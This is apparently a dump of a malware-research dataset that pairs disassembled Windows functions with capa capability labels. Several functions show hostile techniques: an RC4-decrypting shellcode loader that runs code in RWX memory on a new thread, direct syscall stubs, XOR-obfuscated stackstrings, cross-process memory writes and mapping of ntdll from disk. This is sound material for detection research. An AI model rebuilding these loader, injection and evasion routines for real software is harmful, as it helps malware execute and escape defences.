joyce8/EMBER2024-capa huggingface dataset:
Function at 0x180005bf0
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
lea rbp, [rsp - 0x57]
sub rsp, 0xa0
mov rax, qword [0x180028010]
xor rax, rsp
mov qword [rbp + 0x47], rax
mov rbx, rcx
call qword [sym.imp.KERNEL32.DLL_GetCurrentProcess]
mov rcx, rax
lea r8, [rbp + 0x2f]
mov edx, 0x28
call qword [rbx + 0xd0]
test eax, eax
setne dl
test eax, eax
jne 0x180005c46
movzx eax, dl
jmp 0x180005d60
movdqa xmm0, xmmword [0x180023fc0]
movdqu xmmword [rbp - 0x19], xmm0
movdqa xmm1, xmmword [0x1800241c0]
movdqu xmmword [rbp - 9], xmm1
mov byte [rbp + 7], 0x43
xor eax, eax
mov word [rbp + 8], ax
xor esi, esi
mov ecx, esi
nop
movzx eax, byte [rbp - 0x19]
xor byte [rbp + rcx - 0x18], al
movzx eax, byte [rbp - 0x19]
xor byte [rbp + rcx - 0x17], al
add rcx, 2
cmp rcx, 0x20
jb 0x180005c70
mov word [rbp + 8], si
mov qword [rbp + 0xf], rsi
mov qword [rbp + 0x1f], rsi
mov qword [rbp + 0x27], 7
mov word [rbp + 0xf], si
lea rax, [rbp - 0x18]
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp word [rax + r8*2], si
jne 0x180005cb0
lea rdx, [rbp - 0x18]
lea rcx, [rbp + 0xf]
call fcn.180002a20
nop
lea rdx, [rbp + 0xf]
cmp qword [rbp + 0x27], 8
cmovae rdx, qword [rbp + 0xf]
lea r8, [rbp + 0x3b]
xor ecx, ecx
call qword [rbx + 0xd8]
test eax, eax
setne dil
mov rdx, qword [rbp + 0x27]
cmp rdx, 8
jb 0x180005d24
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0xf]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180005d1f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180005d85
call fcn.18000e0dc
test dil, dil
jne 0x180005d2d
xor al, al
jmp 0x180005d60
mov dword [rbp + 0x37], 1
mov dword [rbp + 0x43], 2
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], rsi
mov r9d, 0x10
lea r8, [rbp + 0x37]
xor edx, edx
mov rcx, qword [rbp + 0x2f]
call qword [rbx + 0xe0]
test eax, eax
setne al
mov rcx, qword [rbp + 0x47]
xor rcx, rsp
call fcn.18000e080
lea r11, [rsp + 0xa0]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
call fcn.180012f24
int3
Function at 0x180008030
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x20], rsi
push rbp
push rdi
push r14
lea rbp, [rsp - 0x320]
sub rsp, 0x420
mov rax, qword [0x180028010]
xor rax, rsp
mov qword [rbp + 0x310], rax
mov rdi, r8
mov rsi, rdx
mov qword [rsp + 0x70], r8
movdqa xmm0, xmmword [0x1800247c0]
movdqu xmmword [rsp + 0x30], xmm0
mov dword [rsp + 0x40], 0x7a444543
mov dword [rsp + 0x44], 0x4f494558
mov word [rsp + 0x48], 0x5959
xor eax, eax
mov byte [rsp + 0x4a], al
xor r14d, r14d
mov ecx, r14d
nop word [rax + rax]
movzx eax, byte [rsp + 0x30]
xor byte [rsp + rcx + 0x31], al
inc rcx
cmp rcx, 0x19
jb 0x1800080a0
mov byte [rsp + 0x4a], r14b
mov qword [rsp + 0x50], r14
mov qword [rsp + 0x60], r14
mov qword [rsp + 0x68], 0xf
lea rax, [rsp + 0x31]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], r14b
jne 0x1800080d6
lea rdx, [rsp + 0x31]
lea rcx, [rsp + 0x50]
call fcn.180002bb0
lea rbx, [rsp + 0x50]
cmp qword [rsp + 0x68], 0x10
cmovae rbx, qword [rsp + 0x50]
lea rcx, str.ntdll
call qword [sym.imp.KERNEL32.DLL_GetModuleHandleW]
mov rcx, rax
mov rdx, rbx
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov rbx, rax
mov rdx, qword [rsp + 0x68]
cmp rdx, 0x10
jb 0x180008158
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180008153
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000827f
call fcn.18000e0dc
mov qword [rsp + 0x60], r14
mov qword [rsp + 0x68], 0xf
mov byte [rsp + 0x50], r14b
test rbx, rbx
je 0x18000820b
mov qword [rsp + 0x20], r14
mov r9d, 0x30
lea r8, [rsp + 0x78]
xor edx, edx
mov rcx, rsi
call rbx
test eax, eax
jne 0x18000820b
lea rax, [rbp + 0x300]
mov qword [rsp + 0x20], rax
mov r9d, 0x2c8
lea r8, [rbp + 0x30]
mov rdx, qword [rbp - 0x80]
mov rcx, rsi
call qword [sym.imp.KERNEL32.DLL_ReadProcessMemory]
test eax, eax
je 0x18000820b
lea rax, [rbp + 0x300]
mov qword [rsp + 0x20], rax
mov r9d, 0x80
lea r8, [rbp - 0x50]
mov rdx, qword [rbp + 0x50]
mov rcx, rsi
call qword [sym.imp.KERNEL32.DLL_ReadProcessMemory]
test eax, eax
je 0x18000820b
mov r8, rdi
cmp qword [rdi + 0x18], 8
jb 0x1800081ea
mov r8, qword [rdi]
mov r9, qword [rdi + 0x10]
add r9, r9
lea rax, [rbp + 0x308]
mov qword [rsp + 0x20], rax
mov rdx, qword [rbp + 0x28]
mov rcx, rsi
call qword [sym.imp.KERNEL32.DLL_WriteProcessMemory]
nop
mov rdx, qword [rdi + 0x18]
cmp rdx, 8
jb 0x180008246
lea rdx, [rdx*2 + 2]
mov rcx, qword [rdi]
cmp rdx, 0x1000
jb 0x180008241
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x180008285
mov rcx, r8
call fcn.18000e0dc
mov qword [rdi + 0x10], r14
mov qword [rdi + 0x18], 7
xor eax, eax
mov word [rdi], r14w
mov rcx, qword [rbp + 0x310]
xor rcx, rsp
call fcn.18000e080
lea r11, [rsp + 0x420]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret
call fcn.180012f24
nop
call fcn.180012f24
int3
Function at 0x18000b1f0
Capabilities:
Get common file path
Read file via mapping

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x280
mov rax, qword [0x180028010]
xor rax, rsp
mov qword [rsp + 0x270], rax
mov rbp, rcx
xor edx, edx
mov r8d, 0x208
lea rcx, [rsp + 0x60]
call fcn.18000ff50
mov edx, 0x104
lea rcx, [rsp + 0x60]
call qword [sym.imp.KERNEL32.DLL_GetWindowsDirectoryW]
test eax, eax
jne 0x18000b24f
call qword [sym.imp.KERNEL32.DLL_GetLastError]
xor eax, eax
jmp 0x18000b3f5
xor esi, esi
mov qword [rsp + 0x40], rsi
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x58], 7
mov word [rsp + 0x40], si
lea rax, [rsp + 0x60]
mov r8, 0xffffffffffffffff
inc r8
cmp word [rax + r8*2], si
jne 0x18000b275
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x40]
call fcn.180002a20
nop
mov rcx, qword [rsp + 0x50]
mov rdx, qword [rsp + 0x58]
mov rax, rdx
sub rax, rcx
cmp rax, 0x13
jb 0x18000b2d9
lea rdi, [rcx + 0x13]
mov qword [rsp + 0x50], rdi
lea rbx, [rsp + 0x40]
cmp rdx, 8
cmovae rbx, qword [rsp + 0x40]
lea rcx, [rbx + rcx*2]
mov r8d, 0x26
lea rdx, str._system32_ntdll.dll
call fcn.180012680
mov word [rbx + rdi*2], si
jmp 0x18000b2f8
mov qword [rsp + 0x20], 0x13
lea r9, str._system32_ntdll.dll
mov edx, 0x13
lea rcx, [rsp + 0x40]
call fcn.18000acd0
mov rcx, rbp
call fcn.18000b430
lea rcx, [rsp + 0x40]
cmp qword [rsp + 0x58], 8
cmovae rcx, qword [rsp + 0x40]
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov edx, 0x80000000
lea r8d, [r9 + 1]
call qword [sym.imp.KERNEL32.DLL_CreateFileW]
mov qword [rbp + 0x60], rax
cmp rax, 0xffffffffffffffff
jne 0x18000b34a
call qword [sym.imp.KERNEL32.DLL_GetLastError]
jmp 0x18000b3b5
mov qword [rsp + 0x28], rsi
mov dword [rsp + 0x20], esi
xor r9d, r9d
xor edx, edx
lea r8d, [r9 + 2]
mov rcx, rax
call qword [sym.imp.KERNEL32.DLL_CreateFileMappingW]
mov qword [rbp + 0x58], rax
cmp rax, 0xffffffffffffffff
jne 0x18000b37f
call qword [sym.imp.KERNEL32.DLL_GetLastError]
mov rcx, rbp
call fcn.18000b430
jmp 0x18000b3b5
mov qword [rsp + 0x20], rsi
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 4]
mov rcx, rax
call qword [sym.imp.KERNEL32.DLL_MapViewOfFile]
mov qword [rbp + 0x50], rax
test rax, rax
jne 0x18000b3b0
call qword [sym.imp.KERNEL32.DLL_GetLastError]
mov rcx, rbp
call fcn.18000b430
jmp 0x18000b3b5
mov esi, 1
mov rdx, qword [rsp + 0x58]
cmp rdx, 8
jb 0x18000b3f3
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000b3ee
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000b41e
call fcn.18000e0dc
mov eax, esi
mov rcx, qword [rsp + 0x270]
xor rcx, rsp
call fcn.18000e080
lea r11, [rsp + 0x280]
mov rbx, qword [r11 + 0x18]
mov rbp, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret
call fcn.180012f24
int3
Function at 0x18000dbd0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov qword [rsp + 0x18], rbp
push rsi
push r14
push r15
sub rsp, 0x20
movsxd r15, edx
mov rbp, r8
mov r14, rcx
test rcx, rcx
je 0x18000dd4b
test r8, r8
je 0x18000dd4b
mov rsi, qword [rsp + 0x60]
test rsi, rsi
je 0x18000dd4b
mov qword [rsp + 0x40], rbx
mov ecx, pe_nt_image_headers64
mov qword [rsp + 0x48], rdi
call fcn.18000e72c
xor edx, edx
mov r8d, 0xff
mov rbx, rax
lea rcx, [rax + 1]
call fcn.18000ff50
xor eax, eax
mov rdx, rbx
mov ecx, eax
nop word [rax + rax]
mov byte [rdx], cl
lea rdx, [rdx + 1]
inc ecx
cmp ecx, 0x100
jl 0x18000dc40
mov r9d, eax
mov r10d, eax
mov r11, rbx
nop dword [rax]
movzx edi, byte [r11]
mov ecx, r10d
and ecx, 0xf
movzx edx, byte [rcx + rbp]
add r9d, edx
add r9d, edi
and r9d, 0x800000ff
jge 0x18000dc8a
dec r9d
or r9d, 0xffffff00
inc r9d
movsxd rdx, r9d
inc r10d
movzx ecx, byte [rdx + rbx]
mov byte [r11], cl
inc r11
mov byte [rdx + rbx], dil
cmp r10d, 0x100
jl 0x18000dc60
mov rdi, qword [rsp + 0x48]
mov r9d, eax
mov r11, r15
test r15d, r15d
jle 0x18000dd22
sub r14, rsi
nop word [rax + rax]
inc eax
and eax, 0x800000ff
jge 0x18000dcd2
dec eax
or eax, 0xffffff00
inc eax
movsxd r8, eax
movzx r10d, byte [r8 + rbx]
add r9d, r10d
and r9d, 0x800000ff
jge 0x18000dcf3
dec r9d
or r9d, 0xffffff00
inc r9d
movsxd rdx, r9d
movzx ecx, byte [rdx + rbx]
mov byte [r8 + rbx], cl
mov byte [rdx + rbx], r10b
movzx edx, byte [r8 + rbx]
add edx, r10d
movzx r8d, dl
movzx edx, byte [r8 + rbx]
xor dl, byte [r14 + rsi]
mov byte [rsi], dl
inc rsi
sub r11, 1
jne 0x18000dcc0
mov rax, qword [rsp + 0x68]
mov rcx, rbx
mov dword [rax], r15d
call fcn.18000e0dc
mov rbx, qword [rsp + 0x40]
mov eax, 0xffffffff
mov rbp, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop rsi
ret
mov rbp, qword [rsp + 0x50]
xor eax, eax
add rsp, 0x20
pop r15
pop r14
pop rsi
ret

Function at 0x18000ddaa
Capabilities:
Execute syscall

Disassembly:
mov r10, rcx
mov rax, qword [0x180029c58]
syscall
ret

Function at 0x18000ddb7
Capabilities:
Execute syscall

Disassembly:
mov r10, rcx
mov rax, qword [0x180029c68]
syscall
ret

Function at 0x18000ddc4
Capabilities:
Execute syscall

Disassembly:
mov r10, rcx
mov rax, qword [0x180029ca0]
syscall
ret

Function at 0x18000ddd1
Capabilities:
Execute syscall

Disassembly:
mov r10, rcx
mov rax, qword [0x180029c90]
syscall
ret

Function at 0x18000de05
Capabilities:
Execute syscall

Disassembly:
mov r10, rcx
mov rax, qword [0x180029cb0]
syscall
ret
Function at 0x140001070
Capabilities:
Allocate or change rwx memory
Create thread
Encrypt data using rc4 via systemfunction032
Execute shellcode via indirect call
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 8], rbx
push rsi
sub rsp, 0x60
mov rax, qword [0x140004008]
xor rax, rsp
mov qword [rsp + 0x58], rax
lea rax, [0x14001ce40]
mov dword [rsp + 0x50], 0
lea rsi, [0x140004040]
mov qword [rsp + 0x38], rax
lea rcx, str.Advapi32
mov qword [rsp + 0x48], rsi
mov dword [rsp + 0x30], 0x10
mov dword [rsp + 0x34], 0x10
mov dword [rsp + 0x40], 0x18dff
mov dword [rsp + 0x44], 0x18dff
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.SystemFunction032
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x40]
call rax
test eax, eax
je 0x140001104
mov edx, eax
lea rcx, str.____SystemFunction032_FAILED_With_Error_:_0x_0.8X_n
call fcn.140001010
xor ecx, ecx
mov edx, 0x18dff
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
test rax, rax
je 0x140001180
mov r8d, 0x18dff
mov rdx, rsi
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
lea r9, [rsp + 0x50]
mov edx, 0x18dff
mov r8d, 0x40
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x140001180
mov qword [rsp + 0x28], 0
xor r9d, r9d
mov r8, rbx
mov dword [rsp + 0x20], 0
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
xor eax, eax
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.1400011b0
mov rbx, qword [rsp + 0x70]
add rsp, 0x60
pop rsi
ret

Function at 0x140001a84
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001ace
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001ace
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001ace
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001ace
cmp dword [rcx + 0x84], 0xe
jbe 0x140001ace
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001ad0
xor al, al
add rsp, 0x28
ret
Function at 0x140019670
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.1400206c0
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call fcn.1400206c0
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop dword [rax]

Function at 0x1400196e0
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x1400260a4]
mov rbx, rcx
test esi, esi
jle 0x140019810
mov rax, qword [0x1400260a8]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x14001972b
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x1400197b5
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x140019710
mov rcx, rbx
call fcn.14001a130
mov rdi, rax
test rax, rax
je 0x140019832
mov rax, qword [0x1400260a8]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call fcn.14001a270
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x1400260a8]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140019817
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x1400197ae
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x1400197c0
add dword [0x1400260a4], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x1400260a8]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x1400197ae
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.140019670
nop dword [rax]
xor esi, esi
jmp 0x140019738
mov rax, qword [0x1400260a8]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.140019670
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call fcn.140019670
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x140019da0
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x140026100]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x1400260e0]
test rbx, rbx
je 0x140019dfc
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x140019df3
test rsi, rsi
je 0x140019df3
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140019dd8
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x14001a130
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x140022aa0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x14001a150
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x14001a158
ret
cmp word [r8 + 0x18], 0x20b
jne 0x14001a150
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x14001a1ad
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x14001a1a4
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x14001a150
add rax, 0x28
cmp rax, r9
jne 0x14001a190
xor eax, eax
ret

Function at 0x14001a1b0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140022aa0]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x14001a1cf
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x14001a1d8
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x14001a1cf
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x14001a270
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140022aa0]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x14001a28f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x14001a298
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret
Function at 0x401010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x00431480]
xor edx, edx
mov dword [rax], 1
mov rax, qword [0x00431490]
mov dword [rax], 1
mov rax, qword [0x004314a0]
mov dword [rax], 1
mov rax, qword [0x00431470]
mov dword [rax], 1
mov rax, qword [0x004312f0]
cmp word [rax], 0x5a4d
je 0x4010d0
mov rax, qword [0x00431460]
mov dword [0x00436008], edx
mov eax, dword [rax]
test eax, eax
je 0x4010c2
mov ecx, 2
call sym.__set_app_type
mov rcx, 0xffffffffffffffff
call sym._encode_pointer
mov rdx, qword [0x00431390]
mov qword [rdx], rax
mov rdx, qword [0x00431380]
mov qword [rdx], rax
mov rax, qword [0x004313f0]
mov edx, dword [rax]
mov rax, qword [sym.imp.msvcrt.dll__fmode]
mov rax, qword [rax]
mov dword [rax], edx
call sym._setargv
mov rax, qword [0x004312a0]
cmp dword [rax], 1
je 0x401120
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x401075
movsxd rcx, dword [rax + 0x3c]
add rax, rcx
cmp dword [rax], 0x4550
jne 0x401058
movzx ecx, word [rax + 0x18]
cmp cx, 0x10b
je 0x401133
cmp cx, 0x20b
jne 0x401058
cmp dword [rax + 0x84], 0xe
jbe 0x401058
mov ecx, dword [rax + 0xf8]
xor edx, edx
test ecx, ecx
setne dl
jmp 0x401058
lea rcx, [sym._matherr]
call sym.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x401058
mov r8d, dword [rax + 0xe8]
xor edx, edx
test r8d, r8d
setne dl
jmp 0x401058

Function at 0x4041f0
Capabilities:
Read file on windows

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov qword [rbp + 0x20], r8
mov qword [rbp - 8], 0
mov qword [rbp - 0x10], 0
mov rdx, qword [rbp + 0x20]
mov rax, qword [rbp + 0x18]
mov r9, qword [rbp + 0x10]
mov r8, rdx
mov edx, 1
mov rcx, rax
call sym.fread
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
cmp rax, qword [rbp + 0x20]
je 0x404251
mov rcx, qword [rbp + 0x10]
call sym.checkErr__fU6ZlJAtQ9bre04EDZLdGsA
jmp 0x404252
nop
mov rax, qword [rbp - 8]
add rsp, 0x30
pop rbp
ret
Function at 0x404dbd
Capabilities:
Write file on windows

Disassembly:
push rbp
mov rbp, rsp
add rsp, 0xffffffffffffff80
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
lea rax, str.echoBinSafe
mov qword [rbp - 0x48], rax
lea rax, str.C:_nimlib_systemio.nim
mov qword [rbp - 0x38], rax
mov qword [rbp - 0x40], 0
mov word [rbp - 0x30], 0
lea rax, [rbp - 0x50]
mov rcx, rax
call sym.nimFrame_2
mov qword [rbp - 0x10], 0
mov qword [rbp - 0x40], 3
lea rax, [0x0042e490]
mov qword [rbp - 0x38], rax
mov qword [rbp - 8], 0
mov qword [rbp - 0x40], 4
lea rax, [0x0042e490]
mov qword [rbp - 0x38], rax
mov rax, qword [rbp - 8]
cmp rax, qword [rbp + 0x18]
jge 0x404f0b
mov qword [rbp - 0x40], 0x281
lea rax, str.C:_nimlib_systemio.nim
mov qword [rbp - 0x38], rax
mov rdx, qword [rbp - 8]
mov rax, qword [rbp + 0x18]
cmp rdx, rax
jb 0x404e75
mov rax, qword [rbp + 0x18]
lea rdx, [rax - 1]
mov rax, qword [rbp - 8]
mov rcx, rax
call sym.raiseIndexError2
mov rax, qword [rbp - 8]
lea rdx, [rax*8]
mov rax, qword [rbp + 0x10]
add rax, rdx
mov rax, qword [rax]
mov qword [rbp - 0x10], rax
mov qword [rbp - 0x40], 0x283
lea rax, str.C:_nimlib_systemio.nim
mov qword [rbp - 0x38], rax
mov rax, qword [sym.imp.msvcrt.dll___iob_func]
call rax
lea rcx, [rax + 0x30]
mov rax, qword [rbp - 0x10]
mov r8d, 0
mov rdx, rax
call sym.writeWindows__JO9bn8JE1R6MjKZqdvhBrWg
mov qword [rbp - 0x40], 6
lea rax, [0x0042e490]
mov qword [rbp - 0x38], rax
lea rdx, [rbp - 0x58]
mov ecx, 0
mov rax, qword [rbp - 8]
add rax, 1
jno 0x404eec
mov ecx, 1
mov qword [rdx], rax
mov rax, rcx
and eax, 1
test al, al
je 0x404efe
call sym.raiseOverflow
mov rax, qword [rbp - 0x58]
mov qword [rbp - 8], rax
jmp 0x404e33
nop
mov qword [rbp - 0x40], 0x287
lea rax, str.C:_nimlib_systemio.nim
mov qword [rbp - 0x38], rax
mov dword [rbp - 0x14], 0
mov rax, qword [sym.imp.msvcrt.dll___iob_func]
call rax
add rax, 0x30
mov r9, rax
mov r8d, 1
mov edx, 1
lea rcx, [0x0042e4b0]
call sym.fwrite
mov dword [rbp - 0x14], eax
mov qword [rbp - 0x40], 0x288
lea rax, str.C:_nimlib_systemio.nim
mov qword [rbp - 0x38], rax
mov dword [rbp - 0x18], 0
mov rax, qword [sym.imp.msvcrt.dll___iob_func]
call rax
add rax, 0x30
mov rcx, rax
call sym.fflush
mov dword [rbp - 0x18], eax
call sym.popFrame_2
nop
sub rsp, 0xffffffffffffff80
pop rbp
ret

Function at 0x406fbd
Capabilities:
Write file on windows

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov dword [rbp - 4], 0
cmp qword [rbp + 0x18], 0
je 0x406fec
mov rax, qword [rbp + 0x18]
mov rcx, rax
call sym.nimCStrLen_1
mov rdx, rax
jmp 0x406ff1
mov edx, 0
mov rax, qword [rbp + 0x18]
mov r9, qword [rbp + 0x10]
mov r8, rdx
mov edx, 1
mov rcx, rax
call sym.fwrite
mov dword [rbp - 4], eax
mov dword [rbp - 8], 0
mov rcx, qword [rbp + 0x10]
call sym.fflush
mov dword [rbp - 8], eax
nop
add rsp, 0x30
pop rbp
ret